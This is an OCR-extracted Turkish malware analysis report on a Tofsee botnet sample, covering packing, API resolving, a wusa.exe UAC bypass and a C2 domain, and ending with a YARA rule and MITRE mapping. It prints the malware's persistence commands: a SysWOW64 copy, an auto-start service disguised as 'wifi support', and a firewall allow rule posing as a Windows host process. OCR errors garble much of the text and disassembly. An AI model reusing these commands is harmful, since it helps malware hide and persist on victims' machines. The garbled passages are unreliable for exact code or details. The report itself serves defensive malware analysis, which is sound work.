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On Bakis

Tofsee, bir botnet olarak kullanilan bir koti amagli yazilim ailesidir. Bu malware ailesi,
spam e-postalari gondermek, kimlik avi saldirilari yapmak, kotu, amach yazihmlar
indirmek ve kurbanlarin bilgisayarlarini diger botnetlere katilmaya zorlamak gibi farkli

amagclar icin kullanilabilir.

Tofsee, 2013 yilinda ortaya cikti've o zamandan beri surekli olarak guncellenerek

gelistiriliyor. Ozellikle Rusya ve Ukrayna gibi tilkelerde yogunrolarak kullaniimaktadir.

Tofsee .malware. ailesi,. genellikle spam e-postalarinin eklerinde veya .zararli
baglantilarla bulasir. Bir kez kurbanin bilgisayarina yerlestirildiginde, diger kott amacl
yazihmlar indirmek ve diger botnetlere baglanmak gibi bircok farkli eylem

gergeklestirebilir:
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nightskywalker.exe Analizi

=

nightskywalker.exe

MD5

e5d88e4a2497a5f8219482d64d3b501b

SHA256

ebc2fdf49

€16191d95969d7ae164c1dd4f5b0ac87a49a617e902743d204ffcc2

Dosya Turi PE32 / EXE

Statik Analiz

Type
PE32

Total
7.02132
Regions
Offset
00000000
00000400
00018200
0002ba00

Count

00000000 100

packed(87%)

Size Entropy Status
00000400 2.27429 not packed PE Header
0001700 6.22082 not packed Section(0)[".text']
00013800 7.85755 packed Section(1)[".data’]
00004e00 479603 not packed Section(2)['.rsrc']

Sekil 1- Zararli dosyada paketleme isleminin g6zlemlenmesi

Zararlinin ilk bakista paketlenmis oldugu gorilmektedir.

-
-

Reload
000007c2
Save Save diagram
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Dinamik Analiz

4 explorer.exe 2736 063 148 B/s 5108 MEB iceking-PChiceking Windows Explorer
ﬁ vmtoolsd.exe 1880 013 344kB/s 1261 MB iceking-PChiceking VMware Tools Core Service
%8 ProcessHacker.exe 2444 112 463 kBfs 11.25MB

iceking-PCliceking Process Hacker

p Everything.exe 2296 0.04 916 B/s  17.67 MB iceking-PChiceking Everything
27 svchost.exe 1872 0.65 1.89 MB Host Process for Windows Ser...

Sekil 2-Zararlinin Process Monitor ile incelenmesi

ilk etapda zararlinin iki adet child process calistirdigi gériilmektedir.

Kullanici Hesap Denetimi(UAC), bilgisayara izinsiz bir degisiklik yapiimasint engellemek.i¢in Windows
isletim sisteminde kullanmilmaktadir. “wusa.exe”(Windows Update Standalone Installer) otomatik
yikseltme 6zelligi agik olan processlerden biridir. UAC iznine sahip olmadan kendisini yonetici olarak
calistirmayyetkisi.vardir: Bu yetkiyi kotlye kullanarak wusa.exe icerisine zararlinin-enjekte-olup
yonetici yetkileri galismasi mimkin olmaktadir.

“netsh.exe” bilgisayarin ag yapilandirmasini degistirmeye veya gorintiilemeye yarayan bir
programdir. Zararlinin agayarlarinda degisiklik yapmis olabilecegi'gortulmektedir.

lea eax,dword ptr ss:[febp-ac)
push eax

€all dword ptr ds:[<&GetStartupInfow:)

push 40

push 20

pop esi

push esi

€all ei6191d95969d7aele4cidd4fsboacs? a49a617e9027 43d2047
pop ecx

pop ecx

XOr ecx,ecx

mp eax,ecx

jne e16191d95969d7ae164c1dd4F5b0ac87a49a617e302743d2047F
or eax,FFFFFFFF

jmp e16191d95969d7aele4c1dd4f5b0ac87a49a6178902743d204TT

mov dword ptr ds:[559D00],=ax

mov dword ptr ds:[S59CFC],esi

cmp eax,edx

jae e16191d95969d7ael64c1dd4f5b0acsr7a49a617e902743d204FF
add eax,s

or dword ptr ds:[eax-5],FFFFFFFF

mov word ptr ds:[eax-17.,A00

Sekil 3- GetStartupinfoW API’si kullanilarak bilgi toplanmaktadir

lea edx,dword ptr ds:[eax+300] eax+800:L"\", type=\"win32\" ,version=\"1.0.0.0%"C:\\Windows'\Winsx5\\manifests\\x86_microsoft.wi m|7|

type=\"win32\",version=\"1.0.0.0\"C:\\Windows\\WinSxS\\manifests\\x86_microsoft.windows.is
olationautomation_6595b64144ccfldf 1.0.0.0_none_35d357a66c38aded.manifest

Zararl Sekil 3’de gosterilen APl ile sistem ile alakali bilgileri toplamaktadir.
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0040DDEB BB OO00OFFFF mov ebx,FFFF0000
0040DDFO 3BC7 cmp eax,edi
0040DDF2 v 74 0D je e16191d95969d7ael64cidd4fsb0ac87a49a617e90274
0040DDF 4 85C3 test ebx,eax
0040DDF6 v 74 09 je e16191d95969d7ael64cidd4fsb0ac87a49a617e90274
0040DDF8 F7DO not eax
0040DDFA A3 8CB44200 mov dword ptr ds:[42B48C],eax
0040DDFF v EB 65 jmp e16191d95969d7ael64cidd4fsb0ac87a49a617e9027
>® [|0040DEOL 56 push esi
e ||0040DEOD2 8D45 F8 lea eax,dword ptr ss:|[ebp-8]
@ ||0040DEOS 50 push eax
® ||0040DEOD6 FF15 90114000 €all dword ptr ds:[<&GetSystemTimeAsFileTimex>]
° 8B75 FC mov esi,dword ptr ss:[ebp-4
e (|0040 F 3375 F8 xor esi,dword ptr ss:jfebp-8
e lloosopE12 FF15 A4104000 €all dword ptr ds:[<&GetCurrentProcessId>]
e |0040DE18 33F0 xor esi,eax
e |0040DE1A FF15 3C114000 €all dword ptr ds:[<&GetCurrentThreadId>]
e [|0040DE20 33F0 Xor esi,eax
e |[0040DE22 FF15 8C114000 €all dword ptr ds:[<&GetTickCount>]
e |0040DE28 33F0 xor esi,eax
@ ||0040DE2A 8D45 FO lea eax,dword ptr ss:|[febp-10]
@ ||0040DE2D 50 push eax
@ |0040DE2E FF15 88114000 €all dword ptr ds:[<&QueryPerformanceCounter>]
®||0040DE34 8B45 F4 mov eax,dword ptr ss:{ebp—C]
e |0040DE37 3345 FO xor eax,dword ptr ss:|febp-10]
@ ||O040DE3A 33F0 xor esi,eax
@ |0040DE3C 3BF7 cmp esi,edi
--@||0040DE3E v 75 07 jne e16191d95969d7ael64c1dd4fsb0ac87a49a617e9027
® (|0O040DE40 BE 4FE6G40BB mov esi,BB40E6G4F
—e |[|0040DE4S v EB 10 jmp e16191d95969d7ael64cidd4fsb0ac87a49a617e9027
e 00ﬁ0054‘ 85F3 test ebx.esi |
s ne

Sekil 4- Sistem zamani bilgileri toplamaktadn

Zararl GetSystemTimeAsFileTime, GetCurrentProcessld, GetCurrentThreadld gibi API’ler kullanarak
sistem zamani bilgileri edinmektedir. O anki Process ve Thread Id’lerini edinmektedir.

push esi esi:L"=:1:=::

€all dword ptr ds:[<&GetEnvironmentStringsw>]

mov esi,eax esi:L"=::=::\\", eax:L"ComSpec=C:\\Windows\\system32\\cmd.exe"
Xor ecx,ecx

cmp esi,ecx esi:L"=::=:

jne e16191d95969d7ae164c1dd4f5boac57a493617e9027

Xor eax,eax eax:L"ComSpec=C:\\Windows\\system32\\cmd. exe"
pop esi esi:L"=::=::\\"

cmp word ptr ds:[esi],c esi:L"=::=::\\"

je e16191d95969d7ae164c1dd4f5boaca7a493617e90274

add eax,2 eax:L"ComSpec=C:\\Windows\\system32\\cmd. exe"
cmp word ptr ds: [eax],cx eax:L"ComSpec=C:\\Windows\\system32\\cmd. exe"
jne e16191d95969d7ae164c1dd4f5boacs7ansa617e9027

add eax,2 eax:L"ComSpec=C: ndows\\system32\\cmd. exe"
cmp word ptr ds:[eax],cx eax:L"ComSpec=C: \\W1ndows\\system32\\cmd exe"”
jne e16191d95969d7ael64cidd4fsb0ac87a49a617e9027

push ebx

sub eax,esi eax:L"ComSpec=C:\\Windows\\system3 cmd. exe", esi:L"=::=::\\"
lea ebx,dword ptr ds:[eax+2] eax+2:L"omSpec=C:\\Windows\\system32\\cmd. exe"
push edi

push ebx

€all e16191d95969d7ae164c1dd4f5b0acs7a49a617e902

mov edi,eax eax:L"ComSpec=C:\\Windows\\system32\\cmd. exe"
pop ecx

test edi,edi

jne e16191d95969d7ae164cidd4f5boac87a49a617e9027

push esi esi:L"=::=::\\"

€@l dword ptr ds:[<&FreeEnvironmentStringsw>]

mov eax,edi eax:L"ComSpec=C:\\Windows\\system32\\cmd. exe"
pop edi

pop ebx

Sekil 5- Sistemin bilgilerini toplamaktadir

GetEnvironmentStringsW API’si ile mevcut islem icin ortam degisken bilgilerini elde ettigi
gorilmektedir. Bu bilgiler kullanici, donanim ve ortam hakkinda bilgi iceren hassas bilgilerden
olusmaktadir.
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Zararlinin topladig bazi bilgiler asagidaki tabloda verilmistir.

ALLUSERSPROFILE=C:\\Pro | NUMBER_OF PROCESSORS=4

gramData

LOGONSERVER=\\\ICEKING | LOCALAPPDATA=C:\\Users\\user\\AppData\\Loc
-PC al

FP_NO_HOST _CHECK=NO | COMPUTERNAME=ICEKING-PC
OS=Windows_NT PROCESSOR_ARCHITECTURE=x86
HOMEDRIVE=C: ComSpec=C:\\Windows\\system32\\cmd.exe
TEMP=C:\\Users\\user\\AppDa | PATHEXT=.COM;.EXE;:BAT;.CMD;.VBS;.VBE;.J
ta\\Local\\Temp S;.JSE;.WSF;.WSH;.MSC

Table 6-Zararlinin‘edindigi bilgiler

o 5E pop esi esi:"virtualProtect
il 81C4 84000000 add esp,84

© c3 ret

.| FF35 04885500 push dword ptr ds:[558B04)

o 6A 00 push 0

o FF15 50104000 €all dword ptr ds:[<&LocalAlloc>)

Ll A3 98585500 mov dword ptr ds:[555898],eax

.| c3 ret

Sekil 7- LocalAlloc kullamildigr gériilmektedir

Zararli, LocalAlloc API'si kullanilarak yer ayirma islemi yapmaktadir.

L Wy Dump 2 | 24 Dump 3 Wy Dump 4 | Y% Dump 5 8 watch 1 lx=] Locals é/ Struct

Hex ASCII
4D 5A 90 00|03 00 0D OO[04 OO0 00 OO|FF FF OO OO(MZ.......... V..
B8 OO0 00 00|00 00 0D OO(40 OO0 0O 00|00 OO0 OO0 00| ,....... [ I
00 D0 00 00|00 00 00 OO(00 00 00 00|00 0D D0 00| ..ueeerernnnnnns
00 DO 00 00|00 00 0D 00|00 OO0 00 OD|ES OO0 OO0 O0|...uvucuann.. B...
OE 1F BA OE |00 B4 09 CD|21 B8 01 4C(CD 21 54 &3 .. . I .LItTh

69 73 20 70|72 &F &7 72|61 6D 20 63|61 6E 6E &F|is program canno
74 20 62 65|20 72 75 GE|20 69 6E 20|44 4F 53 20|t be run in DOS
60 &F &4 65 |2E OD OD 0A|24 00 00 0O(0D OO0 OO0 OO|mode....5.......
F4 98 23 EO|BO F9 47 B3|BO F9 47 B3|BO F9 47 B3 |&.)8°UG*"lLG""LG"
B9 81 D4 B3|BS F9 47 B3 |BO F9 45 B3I |AD F9 47 B3| .0=puG=*UF=® uG*
B9 81 C4 B3|B2 F9 47 B3 (B9 81 D5 E3|B1 F9 47 B3| '.A==uG"".0=zluG*
B9 81 D2 B3|B1 F9 47 B3|B9 81 C3 B3I|BA F9 47 B3| '.0*xuc*'.A=°lG"
B9 81 D3 B2 |B1 F3 47 B3|B9 81 D6 B3I |B1l F3 47 B3| .0 +UG* .0=+UG"
52 €9 &3 6E|BO F9 47 B3|00 00 00 0O(0D OO0 OO0 OO|Rich*UG*........
00 00 00 00|00 OO0 OD OD|50 45 00 00|40 01 04 00| .cvuunnn PE..Luu.
AOQ DA SE 4A|00 OO0 OD 00|00 OO OO0 OO|ED OO0 02 21| O[J........ a..!

v P

Sekil 7- Cikarilan dosyanin hex kodu

Zararli, ayrilan bu alana icerisinde paketlenmis sekilde duran dosyayi yazmaktadir.
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0042C749: "irtualProtect”
0042C74D: "alProtect™

0042C748: "virtualProtect™, 56:'V"'
0042C754: "ct"

00405141 C705 49C74200 6972741 mov dword ptr ds:[42C749],75747269
66:C705 4DC74200 616(mov word ptr ds:[42C74D],6C61
C605 48C74200 56 mov byte ptr ds:[42€748],56
66:C705 54C74200 637{mov word ptr ds:[42C754],7463
€605 56C74200 00 mov byte ptr ds:[42C756],0
C705 4FC74200 50726Fimov dword ptr ds:[42C74F],746F7250 0042C74F
FF15 4C104000 dword ptr ds:[<&GetProcAddress>

:"Protect”

ee0s000

Sekil 9- GetProcAddress kullanilarak API ¢6ziimleme yapilmaktadir

Zararl, APl ¢6zii API Resolving) islemi yapmaktadir. Gerekli tiim API’leri i¢ armaktansa
sadece adini sa adir. Calisma zamaninda dinamik bir sekilde GetProcAdd API'leri
¢Ozlimlemektec Il bu sekilde analizi zorlastirmaktadir.

Virt otect A
GetF dress
dond tedi

Virtt ' 1 bu alandaki dosyaya calistirma izni verme
alandal Imak




Stage 2 Analizi

Adi -
MD5 92E466525E810B79AE23EAC344A52027
SHA256 96baba74a907890b995f23¢c7db21568f7bfb5dbf417ed90ca311482

b99702b72
Dosya Turi PE32 / EXE

Statik Analiz

Save diagram

packed(82%)

Offset Size Entropy Status MName
00000000 00000400 217137 not packed PE Header

00000400 0000e600 6.47953 not packed Section(0)['.text']

0000ea00 00002000 6.04280 not packed Section(1)['.rdata']
0001000 00000200 3.24772 not packed Section(2)['.data']
0001000 00001000 648229 not packed Section(3)['.reloc’]

Sekil 10- Cikarilan dosyada paketleme islemi-goriilmemektedir.

Cikarilan zararh paketlenmis degildir.
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Dinamik Analiz

pusn cup
mov ebp,esp
mov eax,dword ptr ss:[febp+s)
push ed1
mov ed1 Mrd ptr ss:febp+10§
mov cl
test ed1,
je 9 ba.ba745907890b995f23c7db215W7bfb$db
push esi esi:"cmd /C mkdir ss\r\ncmd /C move /Y \"%s\" #s\r\nsc create %s binPath= \"ss%s /d\\\"%s\\\"\" type= own start= autc
mov esi Mrd ptr ss:febp+cl febpec]' nes \\Users\\1cek1ng\\Appoata\\r.a:a'l\\Temp\\pfywtcj1 exe"
sub e: esw' /C mkdir s /C_mov r\nsc create %s binPath= \"¥s%s /d %S\ \\ " type= own start= autg
xor dl,byt
mov byte ptr ds [eax] d1 eax:"cmd /C mkdir #s\r\ncmd /C move /Y \"#s\" ¥s\r\nsc create ¥s binPath= \"ss%s /d\\\"%s\\\"\" type= own start= auto
mov
add d1 byte ptr ss:febp+18]
neg cl
add byte ptr ss:febp+14§,d1
;nc e:{( eax:"cmd /C mkdir #s\r\ncmd /C move /Y \"%s\" %s\r\nsc create %s binPath= \"#s%s /d\\\"%s\\\"\" type= own start= auta
ec edi
jne 42907 23¢7 7bfbsd
pop esi cmd /C mkdir s\r\ncmd /C move /Y \"%#s\" ¥s\r\nsc create %s binPath= \"%s%s /d\\\"%s\\\"\" type= own start= autg
mov eax,dword ptr ss:[febp+s)
pop edi
op ebp
mov eax,dword ptr ds:[ecx+C eax:"cmd /C mkdir #s\r\ncmd /C move /Y \"#s\" %s\r\nsc create %s binPath= \"¥s%s /d\\\"#s\\\"\" type= own start= auto
lea edx, anord ptr ds:[eax-1
mov M ptr ds:[ecx+C],edx
test eax,eax eax:"cmd /C mkdir #s\r\ncmd /C move /Y \"¥s\" %s\r\nsc create ¥s binPath= \"%s%s /d\\\"%s\\\"\" type= own start= auto

jne SGblba?4a907890b995fZSc?delS“fﬂ!bed
mov eax,dword ptr ds:[ecx]
movzx edx byte ptr ds:[eax+1]
push e:

eax:"cmd /C mkdir ®s\r\ncmd /C move /Y \"%s\" %s\r\nsc create %5 binPath= \ 95%5 JA\NN"%S\\\"\" type- own start= auto
+1:"md /C mkdir %s\r\ncmd /C move /Y \"#s\" %s\r\nsc create %s binpat s /d\\\"%s\\\"\" = Own start= aut
cmd /C mkdir sis\r\ncmd /C move /Y \"%s\" #s\r\nsc create %s b)nPath- \_%5%5 /Q\\\f%s\\\, 5 type- own start= auto’

»

1

Zararli, CM
maniptlasyonla

cmd /C mkdir %s\r\n
cmd /C move /Y \"%s\" %s\r\n

sc create %s binPath=\"%s%s /d\\\"%s\\\"\" type= own start= auto DisplayName= \"wifi
support\"\r\n

sc description %s \"wifi internet conection\"\r\n

sc start %s\r\n”

wurmzeim on vy e el

® |00FA941C 56 push e: i:" advfirewall firewall add rule name=\"Host-process for services of windows\" dir=i
e |0OFA941D 8945 78 mov dnord ptr ss:flebp+7
o looFass20 E8 055A0000 €all s6baba74a907890b995 23c7dbz1sssf7bfbs
o looFag42s 83C4 0C add esp,C
e |ooFass2s 837D 58 60 unp dword ptr ss:febp+ssj,50 60
-@ JOOFA942C v 7275 ib 95blbl74l$07l90b9$5f2 ‘c7db21§€lf7bfbsdh
o ||0oFA942E 837D 7C 00 cmp dword ptr ss:febp+7C§,0 |
-® JOOFA9432 v 96ma74¢907590h”5f2 C7db21568f7bfbsdb
o |looFa9434 E8 90DSFFFF h 900995 F23¢7db215 687 7bfbS
e l00FA9439 50 ush e eax: "netsh advfirewall firewall add rule name=\"Host-process for services of windows\" dir=i
e |O0OFA943A 8D85 A4FEFFFF ea eax dnord ptr ss:fJebp-15c§
® |00FA9440 50 ush e eax: "netsh advfirewall firewall add rule name=\"Host-process for services of windows\" dir=i
e |00FA9441 E8 BASA0000 h SGDWMSIW890b995f23€7db21568f7bfb5
o looFA9s46 53 push ebx
o looFagsa7 57 push ed1
o |ooFAg448 6A OC
o J00FA944A 68 OCO9FBOO push sebaba«4a90/ssabsssfzscldbzxsssf?b!bs
® |00FAS44F 56 ush esi esi:"netsh advfirewall firewall add rule name=\"Host-process for services of windows\"” dir=i
¢ |00FA9450 E8 EF90FFFF 96baba74a907890b995f23¢c7db21568F7bfbS
o looFagsss 50 push eax eax: "netsh advfirewall firewall add rule name=\"Host-process for services of Windows\" dir=i
0D0FA9456 8D85 A4FEFFFF lea eax,dword ptr ss:|[febp-15C)
00FA945C 50 ush eax eax:"netsh advfirewall firewall add rule name=\"Host-process for services of windows\" dir=i
0OFA945D E8 BC5A0000 mubannswssobsssfzsadbnssmbfbs
00FA9462 83C4 24 add esp
00FA9465 8D85 A4FEFFFF Jea eax,mnord ptr ss:jfebp-15cy
00FA9468 50 push e. eax: "netsh advfirewall firewall add rule name=\"Host-process for services of windows\" dir=1i
0OFA946C 53 push ebx
00FA946D 57 push ed1
DOFA946E 68 82000000 push
00FA9473 68 8808FBOO push 96baba7~la90«890D99>f23(7db21568frbbe
00FA9478 56 us| esi:"netsh advfirewall firewall add rule name=\"Host-process for services of windows\" dir=i
00FA9479 E8 C690FFFF h 9Gblbl74lso7lsob935f23C7db21568f7bﬂ)S

Sekil 12- Windows Giivenlik Duvarina kural eklenmektedir




netsh advfirewall firewall add rule name=\"Host-process for services of Windows\" dir=in
action=allow program=\"%s\" enable=yes>nul\r\n

Zararli, Windows Glvenlik Duvari'na bir kural ekleyerek kendi trafigine izin verir."Host-process for
services of Windows" adiyla olusturulan kural, gelen trafige izin vermektedir. Kuralin uygulanacagi
program daha sonra “C:\\Users\\user\\AppData\\Local\\Temp\ \pfywtcji.exe\” olarak belirlenir.

- eax:"cmd /C mkdir C:\\windows\\Syswow64\\kcnkrmha r\ncmd /C move /Y Ci\\users ceking\\Apppata\\Local emp\\pfywtcii. exe
egQueryvalueExAs]
Test eax,eax eax:"cmd /C mkdir C:\\windows\\Syswowe4\\kcnkrmha\\\r\ncmd /C move /¥ \"C:\\Users\\iceking\\AppData\\Local\\Temp\\pFywrcji.exe
je 96babar4as07890b995F23c7db21568F7bFbSdb
mov dword ptr 78,3000
push dword ptr soff
€am dword ptr loseKkey>,
mov esi,dword ptr = +7 8]
xor edi,edi
cmp dword ptr ss:[fel 1, ed
jne s6baba74a307850l 23c7db21568f7bfbsd
cmp dword ptr [e g, edi |
je sebabar4as07890b: 3c7db2156877bfbsdb
cmp dword ptr [= ,edi
jle 96baba74a907890b995F23c7db21568F7bfbsd
s:[lebp+55l, 61 61:'a’

ax, 1DE0 eax:"emd /C mkdir C:\\Windows\\Syswowe4\\kenkrmha\\\r\nemd /C move /¥ \"C:\\Users\\iceking\\AppData\\Local\\Temp\\pfywtc]i.exe
jb 96baba74a907890b995T23c7db21568F7bfbs db
push 500
lea eax,dword ptr ss:[Jebp-195C]
push eax eax:"cmd /C mkdir C:\\Windows\\SyswOw64\\kenkrmha\\\r\ncmd /C move /¥ \"C:\\Users\\iceking\\AppData\\Local\\Temp\\pfywtcji.exe
lea eax,dword ptr ss:ffeb s
push eax eax:"ecmd /C mkdir C:\\Windows\\Syswowe4\\kcnkrmha\\\r\ncmd /C move /¥ \"C:\\Users\\iceking\\AppData\\Local\\Temp\\pFywtcji.exe\
call 96babar4a907890b995F23c7db21568F7bFbS
add esp,C
TesT eax,eax ‘e:\: cnd /C mkdir C: kenkrmha\\\r\nemd /C move /¥ \"C:\\Users\\iceking\\AppData\\Local\\Temp
je 9ebabar4as07890b995F23c7db21568F7bfbsdb
lea eax,dword ptr ss:[ebp+7&]
push eax eax:"cmd /C mkdir C: kenkrmha\\\r\nemd /C move /Y \"C:\\Users\\iceking\\AppData\\Local\\Temp\\p
lea eax,dword ptr = scll
push eax eax:"cmd /C mkdir C:\\Wi kenkrmha\\\r\nemd /C move /Y \"C:\\Users\\iceking \Local\\Temp
lea eax,dword ptr ss:[febp-135C])
push eax eax:"cmd /€ mkdir C:\\Windows\\Syswowe4\\kcnkrmha\\\r\ncmd ve /¥ \"C:i\\Users\\iceking\\App ocal\\Ti
€&l 36baba74a907890b995F23¢c7db21568F7bfbs

Sekil 13- Kendini sistem dosyalarina kopyalamaktadir

Dinamik olusturulmus komutlara degisken degerleri eklenmektedir. Degisken'degerleri eklenmis

kodlar asagida verilmistir.

cmd /C mkdir C:\\Windows\\SysWOW&64\\kcnkrmha\\\r\n

cmd /C move /Y \"C:\\Users\\user\\AppData\\Local\\Temp\\pfywtcji.exe\"
C:\\Windows\\SysWOW64\\kcnkrmha\\\r\n

sc create kenkrmha binPath=\"C:\\Windows\\SysWOW&64\\kcnkrmha\\pfywtcji.exe
Jd\\\"C:\\Users\\user\\Downloads\\96baba74a907890b995f23c7db21568f7bfb5dbf417ed90ca3
11482b99702b72.exe\\\"\" type= own start= auto DisplayName= \"wifi support\"\r\n

sc description kenkrmha \"wifi internet conection\"\r\n

sc start kenkrmha\r\n
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{ er » Local Disk (C:) » Windows » SysWOW64 » v ‘ 4 , ‘ Search SysWOW®64
Help
| Include in library ¥ Share with ¥ New folder ==« A
Name : Date modified Type Size
kcnkrmha 2/25/2023 3:36 PM File folder

ko-KR 7/14/2009 6:20 AM File folder

LogFiles 7/14/2009 8:32 £ File folder

Sekil 8- SysWOW&64 iginde olusturulan dizin

Zararh, “C:\Windows\SysWOW64” icerisine bir dizin olusturmaktadir.

=l
@vv‘ « Local Disk (C:) » Windows » SysWOW64 » kcnkrmha v ‘ +y [T search kenkrmha R
File Edit View Tools Help
Organize v Include in library v Share with v New folder = 1l @
P/ Eavorites Name Date modified Type Size
& Downloads 7 pfywtcji.exe 2/25/20232:222PM  Applicatior 13,899 KB
Bl Desktop
-, Recent Places
tools

Sekil 9- Olusturulan dizinin icinetasinan zararl

Zararli, C:\Users\user\AppData\Local\Temp dizininde olan kéti amacli yazilim dosyasini
C:\Windows\SysWOWe64\kcnkrmha dizinine tasir.

© Service Created
The service wozwdytm (wifi support) has been created.

Sekil 10- “wifi support” ismiyle bir servis olusturulmaktadir
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Olusturdugu klasor ismiyle bir servis olusturmaktadir. Olusturdugu servis kendisini “wifi support”
ismiyle gizlemektedir.

Servisin igerisinde zararl kendi yolunu verip sistem 6nyiikleme zamaninda kendisini otomatik
cahistirmaktadir. Ek olarak servise agiklama olarak “wifi internet conection” eklenmektedir.

Servis olusturmasi bittikten sonra olusturdugu servisi calistirmaktadir.

js 96baba74a%07890b9395f23c7db21568F7bfh!
movsx eax,bl

push edi

mov dword ptr ss:lebp+sl,eax
lea edi,dword ptr ss:|[febp-20]
movsX eax,byte ptr ds:[edi]
add eax,dword ptr ss:|[febp+s]
push 1A

cdq

pop ebx

idiv ebx

add di1,s61

mov byte ptr ds:[ecx+esi],dl ecx+esi*i: "yjgnid"
inc edi

dec ecx

jns 9&babar4a307890b395T23c7db215 657 bf|
mov eax,dword ptr ss:febp-4J

pop edi

mov cl,byte ptr ss:|[febp+13]

Sekil 11-"Isiflerimrastgeleroliistugu yerlerden biri goziikmektedir

Olusturulan yedek.dosyalarin, servislerinj klasorlerin, glivenlik. duvari kurallarinin isimleri rastgele bir
sekilde olusturulmaktadir.

.rdata:@8F98498 asc_F98498 db ' ‘.8 ; DATA XREF: sub_FB4699+7ATo
.rdata:@8F28494 aRndChar_@ db "¥RND_char',® ; DATA XREF: sub_F348599+5DTo
.rdata:BeF9B49E align 1gh

.rdata:@eF28442 aQwertyuiopasdf_@ db "gwertyuiopasdfghjklzxcvbnm',8

.rdata: BEFIA4AR DATA XREF: sub_F34699465To
.rdata:@8Fo84EB align 4

.rdata:@8F284BC aRndChar db "¥RND _CHAR',® ; DATA XREF: sub_FB348599+5BTo
.rdata:@8F9e4Cs align 4

.rdata:@eF984CE aQwertyuiopasdf db 'QUWERTYUIOPASDFGHIKLZXCVEBNM' ,8

.rdata:BeFI84C3 DATA XREF: sub F34599456To
.rdata:BEFIB4E3 align 4

.rdata:@8F984E4 aRndHex @ db "¥RND _hex',@ ; DATA XREF: sub_F34s99+46To
.rdata:BeFIB4ED align 1gh

.rdata:BEFI64FE a@l23456789%abcd_8 db '812345678%bcdef’, 8

.rdata:@eFoe4Fe ; DATA XREF: sub_ FE4699+41to
.rdata:@eFI8581 align 4

.rdata:@eF9e584 aRndHex db "¥RND_HEX',@ ; DATA XREF: sub_FB4699+34To
.rdata:@eFI6580 align 1gh

.rdata:@8F28518 a®l2345678%bcd db '©123456789ABCDEF',@ ; DATA XREF: sub F3469942FTo
.rdata:@eFIa518 ; sub_FBAEDD427CTr
.rdata:@eFIa521 align 4

.rdata:@8F98524 aRndDigit db '¥RND_DIGIT',® ; DATA XREF: sub_FB4609+22to
.rdata:BBFI852F align 1gh

.rdata:@BF98538 a@l23456789 db '8123456789°',8 ; DATA XREF: sub_FB4699+1DTo
.rdata:@8F3853B align 4

.rdata:@8F2853C aRndNum db "ERND_NUM',@ ; DATA XREF: sub_FB4699+18to
.rdata:BEFI8545 align 4

Sekil 18- Isimleri olusturmakta kullanilan degiskenler




Bu degiskenler isim olusturma algoritmasinda kullanilmaktadir. Rastgele isimler ile her ¢alisma
aninda farkh dosya ve servis ismi ile yakalanmasi zorlasmaktadir.

215 21.348430 192.168.224.152 185.251.89.37 54 49442 -+ 443 [ACK] Seq=1 Ack=1 Win=64240 Len=0

212 21.267462 192.168.224.2 192.168.224.152 92 Standard query response 9x198@ A svartalfheim.top A 185.251.89.37
211 21.e21307 192.168.224.152 192.168.224.2 76 Standard query @x1980 A svartalfheim.top
210 20.240553 192.168.224.152 192.168.224.2 110 Refresh NB ICEKING-PC<0@>

potansiyel C2 sunucu,

” C2 sunucusu bulunmaktadir.




YARA Kurali

import “hash”
rule tofsee {
meta:
author = “Berkay Dogan”
strings:
$al = “loader_id”
$a2 =*hi_id”

$a3 = “born_date”

$b = "svartalfheim.top"

$cryptl = {33 D2 8B C6 F7 F1 81 F6 61 61 61 61 80 C2 61 OF B6 C2}

$crypt2 = {32 55 14 88 10 8A D1 02 55 18 F6 D9 00 55 14}

condition:

hash.md5(0,filesize) == “92E466525E810B79AE23EAC344A52027”
or $a* or $b or $crypt*




MITRE ATTACK TABLE

Reconnaissance Execution Persistence Discovery Privilege Defense Exfliration
Escalation Evasion

T-1569 System T-1547 Boot or T-1082 T-1055 T-1027
Services Logon Autostart System Process Obfuscated
Execution Information Injection Files or
Discovery Information
T-1547 Boot T-1222
or Logon File and
Autostart Directory
Execution Permissions
Modification
T-1036
Creates files
inside the
user
directory

Cozum Onerileri

lyi ve guineel bir antivirs yazilimi kullanarak sistem giivenliginizi artirabilirsiniz.

2. Guvenlik yaziliminizi ve igletim sisteminizi dizenli olarak guncelleyerek, bilinen
saldirilara kargi savunmasini giglendirebilirsiniz.

3. Kotu niyetli web, sitelerine ve indirmelere maruz kalmamak igin guvenilir web
sitelerini kullanin ve indirmeleri‘gtivenilir kaynaklardan yapin.

4. Onemli verilerinizi yedekleyerek, kot amagli yazilimlarin neden olabilecegi veri

kaybi riskini azaltabilirsiniz.
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